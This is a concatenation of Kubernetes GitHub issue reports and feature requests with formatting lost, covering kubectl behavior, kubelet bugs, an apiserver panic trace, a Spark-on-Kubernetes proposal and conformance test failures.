<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @pwittrock @fabianofranz @deads2k @smarterclayton \r    \r kubectl config use-context --> kubectl config use\r kubectl config current-context --> kubectl config get\r kubectl config get-contexts --> kubectl config list\r kubectl config rename-context --> kubectl config rename\r    \r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  /area hw-accelerators\r  \r   what happened  :\r when re-writing the endpoint code i discovered that the  mutex logic  https://github.com/kubernetes/kubernetes/blob/6b97376a539c84b9bb11de5d44daeadf9930049e/pkg/kubelet/cm/deviceplugin/endpoint.go l96  is wrong and can lead to a data race while calling the  device  function.\r \r the current logic is a bit convoluted and would make more sense if the map was created in the for loop.\r however it seems like once the map is assigned to the structure, a device update while calling the  device  function will lead to a data race,\r \r   anything else we need to know?  :\r /assign @jiayingz

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when performing a container lifecycle action in  httpget  form, we only check the error  and the content of the response, but does not check its statuscode  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/lifecycle/handlers.go l128 . is there any special consideration about the point?\r \r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  : bug\r \r  \r   what happened  : describe clusterrolle output error message..\r    \r $ ./kubectl-1.10.0-beta.1 version\r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.1\ , gitcommit:\ 37555e6d24c2f951c40660ea59a80fa251982005\ , gittreestate:\ clean\ , builddate:\ 2018-03-01t06:50:06z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9\ , gitcommit:\ 19fe91923d584c30bd6db5c5a21e9f0d5f742de8\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t16:55:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r $ ./kubectl-1.10.0-beta.1 get clusterroles\r name                    age\r cluster-autoscaler      210d\r elasticsearch-logging   188d\r flannel                 210d\r fluentd-es              188d\r kops:dns-controller     210d\r kube-dns-autoscaler     210d\r redis-ha                8d\r \r $ ./kubectl-1.10.0-beta.1 describe clusterrole redis-ha\r error from server  notfound : the server could not find the requested resource\r    \r \r   what you expected to happen  : describe clusterrolle output with information like... \r    \r $ ./kubectl-1.10.0-alpha.3 version\r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.3\ , gitcommit:\ 89cbdc0d6ff54dff025113c6c8f15b95abcd721c\ , gittreestate:\ clean\ , builddate:\ 2018-02-01t18:36:43z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9\ , gitcommit:\ 19fe91923d584c30bd6db5c5a21e9f0d5f742de8\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t16:55:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r $ ./kubectl-1.10.0-alpha.3 get clusterroles\r name                    age\r cluster-autoscaler      210d\r elasticsearch-logging   188d\r flannel                 210d\r fluentd-es              188d\r kops:dns-controller     210d\r kube-dns-autoscaler     210d\r redis-ha                8d\r \r $ ./kubectl-1.10.0-alpha.3 describe clusterrole redis-ha\r name:         redis-ha\r labels:       <none>\r annotations:  <none>\r policyrule:\r   resources  non-resource urls  resource names  verbs\r   ---------  -----------------  --------------  -----\r   pods                                           get list patch \r    \r \r   how to reproduce it  as minimally and precisely as possible   : download   kubectl-1.10.0-beta.1   version and try a _describe clusterrole_\r \r   anything else we need to know?  : detailed and explained at https://github.com/kubernetes/kubectl/issues/426\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.3\ , gitcommit:\ 89cbdc0d6ff54dff025113c6c8f15b95abcd721c\ , gittreestate:\ clean\ , builddate:\ 2018-02-01t18:36:43z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9\ , gitcommit:\ 19fe91923d584c30bd6db5c5a21e9f0d5f742de8\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t16:55:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r    \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.1\ , gitcommit:\ 37555e6d24c2f951c40660ea59a80fa251982005\ , gittreestate:\ clean\ , builddate:\ 2018-03-01t06:50:06z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9\ , gitcommit:\ 19fe91923d584c30bd6db5c5a21e9f0d5f742de8\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t16:55:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : 4.4.78-k8s\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r since topology-aware dynamic provisioning changes are in.\r related integration cases should be added to ensure it works well.\r \r  /assign\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r 1. create a small file  service.yml  with a service in it, and  clusterip: \ \  \r 2.  kubectl apply -f service.yml  - the service is created\r 3.  kubectl apply -f service.yml  - get an error\r \r then error is the classic:\r \r    \r f0906 19:32:48.426166   87883 helpers.go:119  the service \ myservice\  is invalid: spec.clusterip: invalid value: \ \ : field is immutable\r    \r \r i did check the annotation  kubectl.kubernetes.io/last-applied-configuration  to see that it has the  clusterip: \ \  , which it does. nonetheless, it treats it as mutated.\r \r in short:  kubectl apply -f service.yml  done twice should always work, since the file has not changed.\r \r   what you expected to happen  :\r \r the service to be unchanged.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see steps above. \r \r   anything else we need to know?  :\r \r it also occurs when the first apply does not set  clusterip  and the second one sets it to  \ \   or vice-versa, see  65272 . this is more basic, though.\r \r   environment  :\r - kubernetes version  use  kubectl version  : tried with client 1.9.x through 1.11.x, server 1.9.x through 1.10.x\r - cloud provider or hardware configuration: tried bare metal, on ec2, and docker for mac\r - os  e.g. from /etc/os-release : linuxkit  docker for mac , coreos on bare metal and ec2\r

currently if one pod is stuck in deleting status and we delete the pod again, the deletiontimestamp will be updated to the latest timestamp.\r \r it is better to keep the deletiontimestamp as when the first delete action taken. then we can use it to trace how long the pod is stuck in deleting phase.\r \r 

i had a mongopod that was running but other pods could not longer connect to it, so i deleted the rc then tried to re-create it.  when i re-created it, it became stuck in containercreating.  {kubelet gke-fb38c555-node-669g}    implicitly required container pod    failed    failed to start with docker id 121040c542ca with error: api error  500 : cannot start container 121040c542cab2f627a59edbd39a6cdf6650330bbb1831eece46b83042dd47a0: no available ip addresses on network

_problem_  there is alot of jargon in the scheduler code, some examples: -  hardpodaffinityweight  == requiredduringschedulingscheduling -  softpod...  ==  \ preferredduringscheduling pod affinity.\   - symmetry, a major part of the affinity algorithm implementation, is also undocumented in docs/devel/scheduler.  reading podaffinity along side the scheduler docs + the code gives a good picture.    _solution_  since the affinity, symmetry, hard/soft pod stuff is now in the production code, lets migrate out of the proposal  or maybe duplicate if proposals are meant to live forever , and lets converge podaffinity proposal into the first class docs/devel/scheduler\\  area.   cc @kubernetes/sig-scheduling

apache spark is a fast, in-memory data processing engine with elegant and expressive development apis to allow data workers to efficiently execute streaming, machine learning or sql workloads that require fast iterative access to datasets. \r   concepts\r - spark application:  a spark application is what a user submits to execute his program on the spark framework.\r - spark driver: runs the “main” program associated with a spark application.\r - spark context: a spark context is created with a particular configuration by a spark application, and is the entry-point to the spark execution environment.\r - spark executor: one or more processes which listen to the spark driver and perform individual spark tasks as instructed by the spark driver. \r - spark standalone mode: spark standalone mode is lightweight cluster manager within the main spark project itself, which lets one turn up a spark cluster, i.e. individual master and worker processes.\r - spark client mode: in client mode, the driver is launched on the client machine  outside the cluster .\r - spark cluster mode: in cluster mode, the driver is launched onto the cluster, for any supported type of cluster, which is specified at the time of submitting the spark application into the cluster.\r - spark dynamic allocation: it is a configuration flag which can be turned on. dynamic allocation scales the number of executors based on the workload presented. dynamic allocation of executors requires an \ external shuffle service\  when used in cluster mode.\r   problem\r \r kubernetes currently supports standalone mode only. there are various efforts within the project dealing with spark-standalone such as:\r -  spark examples  https://github.com/kubernetes/kubernetes/tree/master/examples/spark \r -  16517\r     limitations of standalone mode\r \r ! standalone  http://i.imgur.com/ve4w3qb.png \r - spark workers cannot be elastic depending on job demands easily, as the spark components cannot speak directly to kubernetes.\r - since the spark-master and spark-worker aren't designed to work with a resource manager it doesn’t provide easy integration to kubernetes features  namespace, rolling out, etc .\r - if several users share a standalone cluster, it is not strongly multi-tenant and isolation requires that each user has his/her own standalone cluster.\r - each worker   wants   to use an entire node.  this is not resource efficient. sharing resources between different clusters as they scale dynamically during the execution of a multi-stage spark application requires an external manager/monitor.\r     native support\r \r ! native  http://i.imgur.com/2sd9whp.png \r \r it is possible for spark to support kubernetes natively, which would obviate the need for standalone deployments of masters and workers.\r - spark knows best about its resource requirements and if it directly accessed the kubernetes api to create workers and drivers, that would be more efficient.\r - we want generic resource management tools in or alongside kubernetes that apply to spark as well as other application types.  we don't want application-specific resource management tools  standalone cluster scaler .\r - having one resource manager  spark standalone  nested inside another resource manager  kubernetes  causes many subtle issues and bugs when run in production.\r   approach\r - spark provides support for writing integrations with external cluster managers.\r - writing a cluster manager \ plugin\  for kubernetes would solve all the above problems.\r     proposed flow with native spark integration\r - a kubernetes cluster already exists, and the user has logged in to it.  his/her .kube/config that has credentials and a current-context  namespace  selected already. \r   - the namespace has sufficient resource quota to create several pods.\r - spark-submit is used to submit a new spark application to the k8s cluster. the target being a k8s cluster may be indicated by specifying the  --master=k8s://default  and  --deploy-mode=cluster  arguments to spark-submit.\r - spark-submit creates a driver pod, based on a standard spark image which the user can override if needed. \r - the driver pod exposes spark ui typically on port 4040 which is exposed outside the cluster or can be accessed via the apiserver proxy  user can set some option to control this .\r - this driver pod now creates creates executor pods based on options provided to it.\r - the driver pod authenticates as the namespace's default service account when talking to the api-server  or the user can select a non-default service account .  the user has to have ensured that this service account has permission to create pods in this namespace.\r - the driver pod should create and post a secret that the executor pods can read, and use as a token to authenticate themselves to their driver.\r - the executor pods start up and report back to the driver at the necessary rpc endpoint to indicate that they are ready to process the submitted spark application.\r - the driver pod starts to issue tasks to the registered executor pods.\r - when processing completes, the logs of the driver pod contain the output.\r - the driver pod cleans up by killing executors and deleting the service endpoint and finally itself.\r     proof of concept\r - kubernetes is a sub-project/cluster plugin project in apache spark.\r - compiling spark with kubernetes support is possible.\r - driver and executor pods are created on a kubernetes cluster.\r - it is possible to execute sample programs  e.g. sparkpi  on the cluster by invoking spark-submit.\r \r fork of the spark project: https://github.com/apache-spark-on-k8s/spark/\r jira: https://issues.apache.org/jira/browse/spark-18278\r \r     future work\r - support for dynamic executor scaling.\r - this requires an external shuffle service and this part of the design is still under discussion.\r - support for various commandline options.\r - support for job-ids, with ease of submitting, killing and checking status of jobs through spark-submit.\r - working spark-shell by attaching stdin and stdout from the driver pod.\r \r \r \r \r cc @kubernetes/sig-apps\r

i haven't found a way of pausing/decommissioning a node, have all its containers stopped and recreated elsewhere in the cluster.  this would be great for node upgrades  hardware, os, etc. .   obviously, the node would have to be _blacklisted_ so that no new containers are scheduled to it.  /cc @jmreicha

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r  kubectl edit order \r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report 🐛 \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t07:30:54z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6+coreos.0\ , gitcommit:\ ec2b52fabadf824a42b66b6729fe4cff2c62af8c\ , gittreestate:\ clean\ , builddate:\ 2016-11-14t19:42:00z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : mac os 10.12.2  16c67 \r -   kernel    e.g.  uname -a  :  darwin oliver.local 16.3.0 darwin kernel version 16.3.0: thu nov 17 20:23:58 pst 2016; root:xnu-3789.31.2~1/release_x86_64 x86_64 \r -   install tools  :\r -   others  :\r \r   what happened  :\r when using  kubectl edit  to change the environment variables for a pod, it seems that the _order_ of these variables is not under all conditions preserved. in my case, i was editing the list of environment variables from:\r \r    yaml\r - name: service_proxy\r   value: http://10.1.8.8:80\r - name: listen_addr\r   value: :80\r - name: region\r   value: eu-west-1\r    \r \r    yaml\r - name: listen_addr\r   value: :80\r - name: region\r   value: eu-west-1\r - name: node_name\r   valuefrom:\r     fieldref:\r       apiversion: v1\r       fieldpath: spec.nodename\r - name: service_proxy\r   value: http://$ node_name :4140\r    \r \r but what i actually ended up with was:\r \r    yaml\r - name: service_proxy\r   value: http://$ node_name :4140\r - name: listen_addr\r   value: :80\r - name: region\r   value: eu-west-1\r - name: node_name\r   valuefrom:\r     fieldref:\r       apiversion: v1\r       fieldpath: spec.nodename\r    \r \r note that the  service_proxy  variable appeared  first  rather than  last  in the resulting list. when using environment variable expansion as i am, this is significant: in order for expansion to work correctly,  node_name  must come before the definition for  service_proxy .\r \r i suspect this is not limited to environment variables and probably applies to any kind of list resource. i haven't had time to dig into the code yet but i suspect that the way the patch is being generated is incorrect.\r \r   what you expected to happen  :\r the order of environment variables is as described.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. create a deployment whose pods includes two environment variables  let's say  a  and  b  \r 2. edit the deployment to reverse the order to  b ,  a \r 3. observe that the saved order is still  a ,  b \r \r if need be, i can post a more concrete test case.

when running some large cluster tests, apiserver panicked for me with this log:\r    \r i0213 11:31:35.972051       7 wrap.go:75  get /api/v1/pods?fieldselector=spec.nodename%3dgke-gke-large-deploy-default-pool-4-6ad2147f-tgvw:  920.40887ms  200   rescheduler/v0.0.0  linux/amd64  kubernetes/$format  127.0.0.1:38306 \r e0213 11:31:35.974487       7 runtime.go:66  observed a panic: \ do not marshal internal struct\   do not marshal internal struct \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:479\r /usr/local/go/src/runtime/panic.go:458\r /usr/local/go/src/encoding/json/encode.go:275\r /usr/local/go/src/runtime/asm_amd64.s:479\r /usr/local/go/src/runtime/panic.go:458\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/json.go:27\r <autogenerated>:46\r /usr/local/go/src/encoding/json/encode.go:431\r /usr/local/go/src/encoding/json/encode.go:307\r /usr/local/go/src/encoding/json/encode.go:280\r /usr/local/go/src/encoding/json/encode.go:145\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/validation/field/errors.go:53\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/errors/errors.go:186\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest/update.go:113\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry/store.go:459\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/store.go:482\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/store.go:289\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.go:529\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry/store.go:474\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:770\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:1015\r /usr/local/go/src/runtime/asm_amd64.s:2086\r panic: do not marshal internal struct  recovered \r \tpanic: do not marshal internal struct  recovered \r \tpanic: do not marshal internal struct\r \r goroutine 3930955  running :\r panic 0x296e720, 0xc636405160 \r \t/usr/local/go/src/runtime/panic.go:500 +0x1a1\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0xc51eedbf28, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r panic 0x296e720, 0xc636405160 \r \t/usr/local/go/src/runtime/panic.go:458 +0x243\r encoding/json.  encodestate .marshal.func1 0xc51eedb3f8 \r \t/usr/local/go/src/encoding/json/encode.go:275 +0x19f\r panic 0x296e720, 0xc636405150 \r \t/usr/local/go/src/runtime/panic.go:458 +0x243\r k8s.io/kubernetes/pkg/api.taint.marshaljson 0xc4708f1e80, 0x12, 0xc483dd7c20, 0x25, 0xc636404cd0, 0xa, 0x0, 0x0, 0x0, 0xc556d59800, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/json.go:27 +0x6d\r k8s.io/kubernetes/pkg/api.  taint .marshaljson 0xc556d598b0, 0x2ddeea0, 0xc556d598b0, 0xc51eedb348, 0xc556d598b0, 0x5087220 \r \t<autogenerated>:46 +0x77\r encoding/json.marshalerencoder 0xc64672dc30, 0x2ddeea0, 0xc556d598b0, 0x99, 0xc556d50100 \r \t/usr/local/go/src/encoding/json/encode.go:431 +0xb1\r encoding/json.  encodestate .reflectvalue 0xc64672dc30, 0x2ddeea0, 0xc556d598b0, 0x99, 0x100 \r \t/usr/local/go/src/encoding/json/encode.go:307 +0x82\r encoding/json.  encodestate .marshal 0xc64672dc30, 0x2ddeea0, 0xc556d598b0, 0x100, 0x0, 0x0 \r \t/usr/local/go/src/encoding/json/encode.go:280 +0xb8\r encoding/json.marshal 0x2ddeea0, 0xc556d598b0, 0x303db3c, 0x13, 0x7fc37be47200, 0x0, 0x0 \r \t/usr/local/go/src/encoding/json/encode.go:145 +0x8f\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/validation/field.  error .errorbody 0xc66715fb00, 0x0, 0x2 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/validation/field/errors.go:53 +0x94\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/errors.newinvalid 0x0, 0x0, 0x270fbb4, 0x4, 0xc66715f6c0, 0x31, 0xc636405130, 0x2, 0x2, 0x2 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/api/errors/errors.go:186 +0xab\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest.beforeupdate 0x5080b60, 0xc4209a96c0, 0x7fc37b9db2d0, 0xc483dd6930, 0x504eca0, 0xc5eb554780, 0x504eca0, 0xc6a151bb80, 0x0, 0x8 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest/update.go:113 +0x42c\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry.  store .update.func1 0x504eca0, 0xc6a151bb80, 0x0, 0x359421, 0x6, 0x0, 0x0, 0x359421, 0xc66715fa28 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry/store.go:459 +0x303\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3.  store .updatestate 0xc4202c2a80, 0xc66715fa40, 0xc52213f570, 0x504eca0, 0xc6a151bb80, 0x0, 0x0, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/store.go:482 +0x5b\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3.  store .guaranteedupdate 0xc4202c2a80, 0x7fc37bdf3cc0, 0xc483dd6930, 0xc556d597c0, 0x43, 0x504eca0, 0xc6a151b900, 0x1, 0xc680c6dc60, 0xc52213f570, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/store.go:289 +0x492\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.  cacher .guaranteedupdate 0xc42086d960, 0x7fc37bdf3cc0, 0xc483dd6930, 0xc66715f9c0, 0x3a, 0x504eca0, 0xc6a151b900, 0x1, 0xc680c6dc60, 0xc52213f570, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.go:529 +0x331\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry.  store .update 0xc4209b1200, 0x7fc37b9db2d0, 0xc483dd6930, 0xc556d59552, 0x31, 0x50657e0, 0xc66715f980, 0x0, 0x0, 0xc5ed7ca600, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry/store.go:474 +0x3be\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.updateresource.func1.2 0xc500000018, 0x3b2e7f0, 0xc5ed7ca758, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:770 +0x11b\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.finishrequest.func1 0xc5ae44a480, 0xc52213f500, 0xc5ae44a420, 0xc5ae44a300 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:1015 +0x99\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.finishrequest\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:1020 +0xd9\r    \r \r @kubernetes/sig-api-machinery-misc @smarterclayton @lavalamp

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r according to conformance test standard here https://github.com/kubernetes/community/blob/master/contributors/devel/e2e-tests.md conformance-tests , if i run conformance test against a 1.6 cluster, i should make sure both 1.6 and 1.5 conformance test passed.\r \r the test result is that 1.6 conformance test against 1.6 cluster all passed, 7 test cases failed for 1.5 conformance test against 1.6 cluster.\r    \r \u001b 91m\u001b 1msummarizing 7 failures:\u001b 0m\r \r \u001b 91m\u001b 1m fail  \u001b 0m\u001b 90m k8s.io  networking \u001b 0m\u001b 91m\u001b 1m it  should provide internet connection for containers  conformance  \u001b 0m\r \u001b 37m/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/networking.go:48\u001b 0m\r \r \u001b 91m\u001b 1m fail  \u001b 0m\u001b 90m k8s.io  dns \u001b 0m\u001b 91m\u001b 1m it  should provide dns for services  conformance  \u001b 0m\r \u001b 37m/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/dns.go:219\u001b 0m\r \r \u001b 91m\u001b 1m fail  \u001b 0m\u001b 90m k8s.io  prestop \u001b 0m\u001b 91m\u001b 1m it  should call prestop when killing a pod  conformance  \u001b 0m\r \u001b 37m/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/pre_stop.go:159\u001b 0m\r \r \u001b 91m\u001b 1m fail  \u001b 0m\u001b 90m k8s.io  kubectl client \u001b 0m\u001b 0m k8s.io  guestbook application \u001b 0m\u001b 91m\u001b 1m it  should create and stop a working application  conformance  \u001b 0m\r \u001b 37m/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1582\u001b 0m\r \r \u001b 91m\u001b 1m fail  \u001b 0m\u001b 90m k8s.io  networking \u001b 0m\u001b 0m k8s.io  granular checks: pods \u001b 0m\u001b 91m\u001b 1m it  should function for intra-pod communication: udp  conformance  \u001b 0m\r \u001b 37m/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:210\u001b 0m\r \r \u001b 91m\u001b 1m fail  \u001b 0m\u001b 90m k8s.io  dns \u001b 0m\u001b 91m\u001b 1m it  should provide dns for the cluster  conformance  \u001b 0m\r \u001b 37m/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/dns.go:219\u001b 0m\r \r \u001b 91m\u001b 1m fail  \u001b 0m\u001b 90m k8s.io  networking \u001b 0m\u001b 0m k8s.io  granular checks: pods \u001b 0m\u001b 91m\u001b 1m it  should function for intra-pod communication: http  conformance  \u001b 0m\r \u001b 37m/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:210\u001b 0m\r \r \u001b 1m\u001b 91mran 117 of 475 specs in 4526.184 seconds\u001b 0m\r \u001b 1m\u001b 91mfail!\u001b 0m -- \u001b 32m\u001b 1m110 passed\u001b 0m | \u001b 91m\u001b 1m7 failed\u001b 0m | \u001b 33m\u001b 1m0 pending\u001b 0m | \u001b 36m\u001b 1m358 skipped\u001b 0m --- fail: teste2e  4526.21s \r fail\r \r ginkgo ran 1 suite in 1h15m26.624605464s\r test suite failed\r \r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

